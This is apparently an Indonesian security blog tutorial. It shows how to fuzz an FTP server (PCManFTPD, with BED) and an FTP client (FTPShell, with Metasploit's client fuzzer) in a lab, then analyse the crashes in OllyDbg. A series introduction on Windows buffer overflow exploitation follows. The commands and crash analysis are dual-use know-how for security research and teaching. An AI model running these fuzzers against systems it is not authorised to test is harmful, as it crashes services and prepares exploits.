Ketika FTP client berkomunikasi dengan FTP server, sejatinya ada perintah-perintah yang dikirimkan dari client ke server. Daftar perintah-perintah ini dapat dilihat secara lengkap di daftar perintah FTP. Parameter opsi yang dikirimkan bisa bermacam-macam seperti APPE, USER, LIST, CWD, dll. Karena adanya perintah yang dikirimkan ke FTP server sebagai bentuk komunikasi antara FTP client dengan FTP server, maka kita dapat menganggap perintah-perintah tersebut sebagai masukan (input) ke FTP server. Sebagai contoh, FTP client dapat mengirimkan perintah CWD yang merupakan kependekan dari Current Working Directory, yaitu perintah untuk menanyakan lokasi path ketika si FTP client terkoneksi ke FTP server.

Nah karena perintah-perintah tersebut dapat kita anggap sebagai masukan, maka kita juga bisa menganggap apabila kita mengirimkan perintah yang anomali ke FTP server, berarti kita sedang melakukan fuzzing ke FTP server tersebut. Sebagai contoh, bagaimana hasilnya apabila kita mengirimkan perintah yang tidak ada pada daftar perintah yang dikenal oleh FTP server, apa respon yang dihasilkan, apa yang terjadi pada respon tersebut, dll.

Obyek fuzzing

Untuk melakukan fuzzing, kita perlu mengetahui secara pasti bagaimana obyek (target) yang akan kita fuzzing bekerja. Berdasarkan obyek yang akan menjadi target, fuzzing dapat kita bagi menjadi:

  • Fuzzing terhadap protokol jaringan (TCP/UDP)
  • Fuzzing terhadap client yang mengakses sebuah protokol (contoh: email client, FTP client, DHCP client, DNS resolver, dll)
  • Fuzzing terhadap program yang memproses sebuah masukan atau tipe file tertentu. File dapat berupa file skrip, gambar, dokumen, dll (contoh: PDF Reader, Image viewer, program Office, dll)
  • Fuzzing terhadap hardware yang memproses masukan data (contoh: fuzzing terhadap PHY radio frequency pada keyless system)
  • Fuzzing terhadap protokol yang dibuat sendiri atau memiliki aturan sendiri (tidak mengikuti kaidah protokol umum/RFC)

Aktivitas fuzzing yang paling umum adalah fuzzing terhadap protokol jaringan yang memiliki layanan seperti FTP, SMTP, SNMP, TFTP, SMB, RDP, dll. Tahun 2017 kita pernah tahu sebuah kerentanan yang dapat dieksploitasi dengan sangat sukses bernama EternalBlue, yang pada akhirnya menjadi ransomware WannaCry. Sesuai berita yang beredar, NSA memilih untuk bungkam selama 5 tahun ketika menemukan kerentanan pada protokol SMB di semua versi Windows (Windows Vista, Windows 7, Windows 8.1, Windows 10, Windows Server 2008, Windows Server 2012, dan Windows Server 2016) tersebut. Dibalik bagaimana NSA dapat menemukan kerentanan tersebut, tim hacker NSA pasti melakukan yang namanya fuzzing. Aktivitas fuzzing ini biasanya menggunakan skrip atau tool khusus yang mempercepat proses fuzzing dengan cara otomasi.

Obyek-obyek lain yang dapat menjadi target fuzzing misalnya aplikasi browser, aplikasi pembaca file PDF, aplikasi kompresi (zip, rar, dll), bahkan mesin yang membaca masukan dari file tertentu.

Tipe-tipe fuzzing

Berdasarkan masukan yang akan menjadi sumber fuzzing, biasanya masukan sebagai sumber fuzzing terbagi menjadi 3 jenis yaitu:

  • Sumber fuzzing dengan memanfaatkan masukan yang sudah ada atau biasa disebut sebagai reuse of existing input seeds.
  • Sumber fuzzing yang harus mengikuti struktur yang dikenal oleh obyek yang menerima masukan atau disebut sebagai aware of input structure.
  • Sumber fuzzing yang harus mengikuti aliran obyek ketika proses fuzzing terjadi atau disebut sebagai aware of program structure.

Sama seperti pendekatan dalam melakukan penetration testing, pada aktivitas fuzzing juga mengenal black-box, grey-box, dan white-box fuzzing. Terminologi yang digunakan pun kurang lebih sama, yang membedakan adalah area ketika melakukan fuzzing. Black-box dan grey-box fuzzing kemungkinan besar dilakukan tanpa memahami cara kerja obyek yang akan difuzzing secara mendalam dan menyeluruh. Akibatnya aktivitas fuzzing biasanya diawali dengan model “trial-error” atau coba-coba. Sementara white-box fuzzing mungkin akan dilakukan pada area pengembangan (development), menggabungkan analisis statik dan dinamik terhadap obyek.

Tool fuzzing dan penerapannya

Untuk mempercepat proses fuzzing, para peneliti dan pencari kerentanan biasanya menggunakan alat bantu atau tool. Beberapa tool fuzzing yang sering digunakan adalah:

Penggunaan tool di atas biasanya disesuaikan dengan obyek yang akan difuzzing. Sebagai contoh ketika peneliti kerentanan ingin fokus mencari kerentanan di sebuah browser, mereka akan menggunakan BFuzz, Peach Fuzzer, dan Grizzly.

Bruteforce Exploit Detector (BED)

Dari dulu ketika berhadapan dengan sebuah protokol umum seperti FTP, SMTP, POP3, biasanya saya menggunakan tool fuzzing bernama BED (Bruteforce Exploit Detector). Tool ini sudah tidak pernah diperbarui oleh pembuatnya, namun sampai hari ini tool ini tetap dapat melakukan fuzzing dengan sangat baik. Sebagai percobaan, kita bisa menjalankan BED terhadap protokol FTP (saya akan menggunakan PCManFTPD sebagai target). Berikut ini yang saya siapkan:

Pertama-tama pada mesin Kali Linux kita dapat memasang program BED dengan menjalankan sudo apt update && sudo apt install bed lalu jalankan bed melalui terminal.

Menjalankan bed pada mesin Kali Linux

Pada mesin Windows 10, jalankan PCManFTPD (PCManDFTPD2.exe) lalu catat alamat IP mesin Windows 10. Pada mesin saya tercatat dengan alamat IP 172.16.165.133. Kita bisa menguji bahwa FTP server berjalan dengan baik dengan cara melakukan koneksi ke port 21 pada alamat IP 172.16.165.133.

Setelah memastikan bahwa koneksi dapat terbentuk, kita bisa siapkan tool fuzzing BED untuk melakukan fuzzing terhadap PCManFTPD server. Saya menjalankan fuzzing dengan opsi perintah seperti ini:

kali@kali:~$ bed -s FTP -t 172.16.165.133 -p 21 -u anonymous -v ftp

Opsi perintah di atas dapat dijelaskan sebagai berikut:

  • -s FTP berarti target protokol fuzzing adalah FTP
  • -t 172.16.165.130 yang berarti target fuzzing
  • -p 21 yaitu port yang dituju
  • -u anonymous adalah user yang dipakai untuk login ke FTP server
  • -v ftp adalah password yang dipakai untuk login ke FTP server

Jalankan perintah di atas dan setelah berjalan tidak sampai 1 menit, program PCManFTPD server tertutup dengan paksa (crash) dan program BED memberikan pesan error.

Sampai sini kita dapat mengambil kesimpulan bahwa; 1) program BED sukses membuat program PCManFTPD server crash, 2) program PCManFTPD server crash ketika proses pengujian sampai pada parameter USER. Lalu bagaimana kita bisa melihat dampak yang ditimbulkan dari aktivitas fuzzing ini?

Nah ketika kita berhasil membuat sebuah program crash secara berulang-ulang, maka kondisi ini biasa sebut sebagai kerentanan denial of service. Program yang crash biasanya disebabkan oleh sesuatu dan tentu saja dapat kita analisis penyebabnya. Berbeda dengan web aplikasi; kita dapat menganalisis aktivitas request dan response ke web server menggunakan sebuah proxy, hasil aktivitas fuzzing terhadap program yang dicompile dengan compiler harus dianalisis menggunakan debugger.

Untuk dapat melihat dampak dan akibat dari crash yang terjadi, kita bisa menggunakan 2 pendekatan; pertama kita bisa menjalankan crash reporter atau crash dumper seperti procdump lalu membukanya menggunakan debugger, kedua kita bisa menempelkan (attach) program yang akan kita fuzzing dengan debugger. Pada kasus di atas, kita dapat melakukan attach program PCManFTPD2.exe menggunakan OllyDbg di mesin uji lab (Windows). Jalankan PCManFTPD2.exe dan OllyDbg (sebaiknya jalankan sebagai administrator), lalu pada OllyDbg pilih File -> Attach ..

Attach process PCManFTPD ke dalam OllyDbg

Setelah attach berhasil, pilih Run pada menu Debug dan jalankan kembali fuzzing dengan BED. Kali ini sebelum program PCManFTPD server crash, OllyDbg menangkap penyebab crash sehingga kita bisa mengetahui apa yang sebenarnya terjadi. Terlihat pada gambar berikut.

Hasil fuzzing yang ditangkap oleh debugger

Terlihat pada debugger bahwa alamat EIP (Instruction Pointer) terisi dengan alamat yang tidak valid yaitu 41414141 sehingga menyebabkan program “bingung” dan berujung pada Access violation. Terlihat pula pada jendela stack hasil fuzzing yang dikirimkan oleh BED, yaitu karakter A (hex 0x41) dalam jumlah banyak.

Bagi yang sudah pernah melihat proses pembuatan eksploit dari keadaan crash ke proses eksekusi perintah sistem (biasa dikenal dengan from DoS to remote command execution) pasti sudah dapat menebak apa yang dapat dilakukan dari keadaan di atas. Keadaan ini biasa disebut dengan stack buffer overflow yaitu keadaan ketika program stack memory terisi dengan muatan (pada kondisi di atas, muatan ini berisi karakter A) yang sangat banyak sampai posisi return pointer (titik alamat kembali ke fungsi sebelumnya) tertimpa dengan muatan yang kita kirimkan. Karena sifat program yang selalu kembali ke fungsi sebelumnya, kondisi di atas memaksa aliran program yang diatur oleh Instruction Pointer untuk mengeksekusi alamat yang tidak ada (EIP=41414141). Karena alamat untuk kembali ke fungsi sebelumnya tidak terdaftar di memory, maka program akan crash.

Fuzzing client application dengan Metasploit

Berbeda dengan proses fuzzing ke server pada contoh sebelumnya, fuzzing ke client application melihat fuzzing dari sisi server (karena targetnya adalah client). Dengan demikian peneliti kerentanan harus membuat server fuzzer yang menjadi tujuan dari client application. Sebagai contoh kita akan melakukan fuzzing terhadap FTP client, untuk itu perlu ada beberapa hal yang disiapkan:

Install FTPShell Client pada mesin uji (Windows 10), lalu jalankan Metasploit fuzzer untuk FTP client pada mesin Kali.

kali@kali:~$ sudo systemctl start postgresql.service
kali@kali:~$ sudo -E msfconsole -qx 'use auxiliary/fuzzers/ftp/client_ftp; run'
Menjalankan FTP server sebagai fuzzer untuk FTP client

Setelah server FTP server fuzzer berjalan, kita bisa segera melakukan koneksi ke FTP server fuzzer dengan FTPShell yang sudah terinstall di Windows 10 (abaikan peringatan warning pada screenshot di atas, mungkin tidak ada pada mesin Kali lain). Pada program FTPShell lakukan pengisian informasi alamat IP FTP server fuzzer (alamat IP mesin Kali), user dan password saya isi dengan ftp (bisa diisikan dengan apa saja), setelah itu lakukan koneksi dengan klik Connect. Seketika program akan crash seperti gambar berikut

Program FTPShell FTP client crash setelah terkoneksi ke Metasploit FTP server fuzzer

Seperti pada contoh sebelumnya, kita dapat melihat apa yang sebenarnya terjadi ketika FTPShell client terkoneksi dengan Metasploit FTP server fuzzer dengan menggunakan OllyDBg. Caranya sama dengan proses sebelumnya yaitu dengan cara menjalankan program FTPShell client lalu jalankan OllyDbg, attach program FTPShell client dan pilih Debug -> Run. Lalu koneksikan kembali ke FTP server fuzzer dengan sebelumnya mengisi alamat IP, user, dan password. Berikut ini yang terjadi ketika FTPShell terkoneksi ke FTP server fuzzer.

Kondisi di debugger ketika FTPShell terkoneksi ke Metasploit FTP server fuzzer

Kita melihat kondisi yang hampir sama dengan kasus sebelumnya, namun kali ini stack terlihat tidak terisi dengan karakter AAAA seperti sebelumnya. Kondisi Access Violation terjadi karena perintah MOV DWORD PTR DS:[EDX], EAX berusaha memindahkan konten register EAX ke alamat pointer dereference EDX yang tidak valid, yaitu di 0x356E4134. Kondisi Access Violation sangat dipahami karena fungsi tersebut kemungkinan besar dibanjiri oleh karakter fuzzing dari Metasploit FTP server fuzzer. Sama seperti kondisi sebelumnya, hasil dari fuzzing di atas perlu dianalisis lebih dalam agar kita dapat mengetahui apakah hasil dari fuzzing, yang biasanya membuat program crash, dapat mengarah ke remote command execution atau hanya berakhir sebagai denial of service.

Kesimpulan

Sampai disini kita dapat melihat bahwa proses fuzzing merupakan proses yang sangat penting apabila berhadapan dengan aplikasi Windows (dalam pembahasan ini adalah Windows 32 bit). Hasil dari fuzzing dapat mengeluarkan beragam kesimpulan, misalnya aplikasi tidak dapat merespon file atau koneksi anomali, aplikasi tidak dapat memproses karakter unicode, aplikasi tidak memiliki kemampuan untuk mendeteksi file yang anomali, atau bahkan aplikasi dapat menangani segala macam bentuk fuzzing, dll.

Aktivitas fuzzing sama dengan aktivitas vulnerability assessment sebuah proses ketika peneliti kerentanan mencari kemungkinan celah kerentanan pada sebuah obyek.

Pada bagian berikutnya saya akan membahas bagaimana menganalisis hasil fuzzing yang mengarah pada pembuatan eksploit (exploit development). Semoga dengan adanya tulisan ini dapat memberikan pengetahuan tentang fuzzing dari sisi eksploitasi aplikasi Windows.

Referensi

Membangun Eksploitasi Windows Bagian 1: Perkenalan dengan buffer overflow di Windows

Dalam proses uji penetrasi (penetration test), proses eksploitasi biasanya dilakukan sebagai bentuk simulasi atas kerentanan yang ditemukan.

Exploit development atau proses membangun eksploit sendiri merupakan sebuah proses membangun atau membuat sesuatu (bisa berupa konsep, skrip, atau program) yang dapat mengeksploitasi kerentanan. Eksploitasi biasanya dilakukan ketika sebuah kerentanan ditemukan.

Selama 10 tahun terakhir, Microsoft membuat banyak proteksi-proteksi terhadap penyalahgunaan memory, memory corruption, buffer overflow, proses eksekusi di memory, dll sehingga proses eksploitasi menjadi semakin sulit dan membuat sistem semakin aman. Semua bentuk proteksi seperti SafeSEH, Stack Canaries/Cookies, ASLR (Address Space Layout Randomization), DEP (Data Execution Prevention), CFG (Control Flow Guard), dan WDEG (Windows Defender Exploit Guard) cukup membuat para peneliti kerentanan bekerja lebih keras ketika berhadapan dengan kerentanan yang mereka temukan. Sampai saat ini semua jenis proteksi tersebut telah berhasil dilewati, beberapa teknik sudah terdokumentasi dengan baik namun tidak sedikit juga teknik-teknik yang hanya disimpan oleh peneliti kerentanan dengan alasan takut disalahgunakan oleh threat actor.

Melihat banyaknya sumber dari luar negeri yang berbahasa Inggris, seperti Corelan, FuzzySecurity, SecuritySift, dll saya melihat hanya segelintir hacker Indonesia yang merangkum dan menuliskan topik Buffer Overflow dalam Bahasa Indonesia seperti tulisan mas Harry Adinanta tentang Cara Membuat Exploit Untuk Buffer Overflow, tulisan mas Muhammad Sahputra (Cyb3rh3b) tentang Stack Based Buffer Overflow pada sistem Linux, dan juga tulisan-tulisan dari n0psledbyt3 tentang Stack Buffer Overflow juga pada sistem Linux .

Karena sedikitnya pembahasan dan tulisan tentang buffer overflow pada sistem Windows dalam Bahasa Indonesia, pada seri tulisan ini saya putuskan untuk merangkum dasar-dasar pengetahuan terkait buffer overflow dan membaginya dalam Bahasa Indonesia. Sebelumnya saya pernah menulis tentang dasar-dasar eksploitasi stack buffer overflow dan eksploitasi buffer overflow pada aplikasi berbasis SEH beberapa tahun lalu namun pada seri tulisan kali ini akan saya tuliskan kembali supaya semua tulisan tersebut berkumpul di satu tempat. Tulisan ini sebagai rangkuman dasar belajar eksploitasi di lingkungan Windows dan ditulis dalam bahasa Indonesia agar dapat menjangkau para peminat eksploit di Indonesia. Mudah-mudahan niat menuliskan semua pengalaman saya bisa terealisasi dengan baik.

Dengan tidak bermaksud sesumbar, saya akan menulis topik-topik berikut.

Untuk dapat mengikuti tulisan-tulisan di atas, saya memiliki beberapa daftar kebutuhan berikut

Beberapa program akan dipasang pada saat pembahasan per tulisan, termasuk ada beberapa plugin dan program-program yang memang memiliki sejarah kerentanan dan eksploitnya.

Pada akhirnya semoga tulisan-tulisan ini bisa menjadi dasar pembelajaran bagi para pembaca yang hendak menekuni bidang eksploitasi program di sistem Windows.